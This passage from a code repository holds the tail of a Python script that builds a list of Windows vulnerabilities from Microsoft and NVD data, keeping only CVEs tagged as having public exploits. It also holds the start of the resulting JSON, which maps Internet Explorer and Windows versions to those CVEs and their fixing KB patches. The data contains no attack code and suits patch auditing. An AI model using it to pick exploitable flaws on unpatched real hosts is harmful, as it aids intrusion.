fetch_msrc_update_catalog(timeout=timeout, retries=retries) documents = [update["CvrfUrl"] for update in updates if normalize_spaces(update.get("CvrfUrl"))] entries: list[RawEntry] = [] logging.info("Downloading %d MSRC CVRF documents with up to %d workers", len(documents), max_workers) with ThreadPoolExecutor(max_workers=max_workers) as executor: future_to_url = { executor.submit(fetch_msrc_document, url, timeout=timeout, retries=retries): url for url in documents } completed = 0 for future in as_completed(future_to_url): url = future_to_url[future] document = future.result() doc_entries = extract_msrc_entries_from_document(document) entries.extend(doc_entries) completed += 1 if completed % 10 == 0 or completed == len(documents): logging.info( "Processed %d/%d MSRC documents (%d cumulative entries)", completed, len(documents), len(entries), ) logging.debug("MSRC document %s produced %d raw entries", url, len(doc_entries)) logging.info("Collected %d raw MSRC entries", len(entries)) return entries def extract_exploit_ids_from_feed(payload: bytes, *, year: int) -> set[str]: exploit_ids: set[str] = set() with tempfile.NamedTemporaryFile(prefix=f"nvdcve_{year}_", suffix=".zip", delete=False) as handle: handle.write(payload) archive_path = Path(handle.name) try: with zipfile.ZipFile(archive_path) as archive: json_name = next((name for name in archive.namelist() if name.endswith(".json")), None) if not json_name: raise RuntimeError(f"NVD archive for {year} does not contain a JSON file") with archive.open(json_name) as raw_json: document = json.load(raw_json) finally: archive_path.unlink(missing_ok=True) for item in document.get("vulnerabilities", []) or []: cve = item.get("cve", {}) cve_id = normalize_spaces(cve.get("id")) if not cve_id: continue references = cve.get("references", []) or [] for reference in references: tags = reference.get("tags") or [] if "Exploit" in tags: exploit_ids.add(cve_id) break logging.debug("NVD %d contributed %d exploit-tagged CVEs", year, len(exploit_ids)) return exploit_ids def load_nvd_exploit_ids(*, start_year: int, end_year: int, timeout: int, retries: int) -> set[str]: if start_year > end_year: raise ValueError(f"Invalid NVD year range: {start_year} > {end_year}") exploit_ids: set[str] = set() total_years = end_year - start_year + 1 for offset, year in enumerate(range(start_year, end_year + 1), start=1): url = NVD_FEED_URL_TEMPLATE.format(year=year) logging.info("Downloading NVD feed %d/%d for %d", offset, total_years, year) payload = download_bytes(url, timeout=timeout, retries=retries) year_ids = extract_exploit_ids_from_feed(payload, year=year) exploit_ids.update(year_ids) logging.info( "Processed NVD year %d/%d (%d CVEs with exploit references, %d cumulative)", offset, total_years, len(year_ids), len(exploit_ids), ) return exploit_ids def build_definitions(entries: list[RawEntry], exploit_cves: set[str], generated: str) -> dict[str, Any]: products: dict[str, dict[str, dict[str, str]]] = defaultdict(dict) kb_supersedes: dict[str, set[str]] = defaultdict(set) for entry in entries: product = normalize_spaces(entry.product) if WINDOWS_TOKEN not in product.lower(): continue kb = normalize_spaces(entry.kb) if kb: for superseded in entry.supersedes: if superseded: kb_supersedes[kb].add(superseded) if not entry.cve or entry.cve not in exploit_cves: continue vuln_key = entry.cve or f"KB{kb}" if vuln_key in products[product]: continue products[product][vuln_key] = { "cve": entry.cve, "kb": kb, "severity": normalize_spaces(entry.severity), "impact": normalize_spaces(entry.impact), } for source_product, (aliases, allowed_keys) in LEGACY_PRODUCT_ALIASES.items(): source_entries = products.get(source_product) if not source_entries: continue aliased_entries = { key: value for key, value in source_entries.items() if not allowed_keys or key in allowed_keys } if not aliased_entries: continue for alias in aliases: products.setdefault(alias, dict(aliased_entries)) for product, entries_to_add in LEGACY_COMPATIBILITY_ENTRIES.items(): destination = products.setdefault(product, {}) for entry in entries_to_add: destination.setdefault(entry["cve"], dict(entry)) data = {"generated": generated, "products": {}, "kb_supersedes": {}} for product in sorted(products): data["products"][product] = [products[product][key] for key in sorted(products[product])] for kb in sorted(kb_supersedes): data["kb_supersedes"][kb] = sorted(kb_supersedes[kb]) return data def validate_output(data: dict[str, Any]) -> None: if not re.fullmatch(r"\d{8}", str(data.get("generated", ""))): raise RuntimeError("Generated date is missing or malformed") products = data.get("products") if not isinstance(products, dict) or not products: raise RuntimeError("Output does not contain any product definitions") kb_supersedes = data.get("kb_supersedes") if not isinstance(kb_supersedes, dict): raise RuntimeError("Output does not contain a kb_supersedes mapping") sample_product = next(iter(products.values())) if not isinstance(sample_product, list): raise RuntimeError("Product entries must be lists") if sample_product: sample_entry = sample_product[0] required_keys = {"cve", "kb", "severity", "impact"} if not required_keys.issubset(sample_entry): raise RuntimeError( f"Product entries are missing keys. Required {sorted(required_keys)}, got {sorted(sample_entry)}" ) def main() -> None: args = parse_args() configure_logging(args.verbose) output_path = Path(args.output) output_path.parent.mkdir(parents=True, exist_ok=True) logging.info("Starting windows version definition refresh") logging.info("Output path: %s", output_path) bulletin_entries = load_bulletin_entries(timeout=args.timeout, retries=args.retries) msrc_entries = load_msrc_entries( timeout=args.timeout, retries=args.retries, max_workers=args.msrc_max_workers, ) exploit_cves = load_nvd_exploit_ids( start_year=args.nvd_start_year, end_year=args.nvd_end_year, timeout=args.timeout, retries=args.retries, ) logging.info( "Building final JSON from %d bulletin entries, %d MSRC entries, and %d exploit-tagged CVEs", len(bulletin_entries), len(msrc_entries), len(exploit_cves), ) generated = datetime.now(timezone.utc).strftime("%Y%m%d") data = build_definitions(bulletin_entries + msrc_entries, exploit_cves, generated) validate_output(data) output_path.write_text(json.dumps(data, separators=(",", ":")) + "\n", encoding="utf-8") total_products = len(data["products"]) total_entries = sum(len(items) for items in data["products"].values()) total_supersedes = len(data["kb_supersedes"]) logging.info( "Generated %s (date=%s, products=%d, vulnerabilities=%d, supersedence_roots=%d)", output_path, data["generated"], total_products, total_entries, total_supersedes, ) if __name__ == "__main__": main() ================================================ FILE: build_lists/windows_version_exploits.json ================================================ {"generated":"20260315","products":{"Internet Explorer 10 on Windows Server 2012":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0037","kb":"4012217","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012217","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041690","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048959","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054520","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054520","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025331","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034665","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074593","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088877","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088877","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103730","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8353","kb":"4343901","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467701","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471330","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480975","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493451","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525246","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041689","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048952","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053578","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053578","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025344","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034660","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034660","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074591","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088779","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3189866","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-11793","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041676","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053580","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343885","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467696","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471327","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480973","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493474","severity":"Important","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11855","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054517","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088776","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343897","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467686","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493441","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525241","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537789","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343909","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471324","severity":"Important","impact":"Remote Code 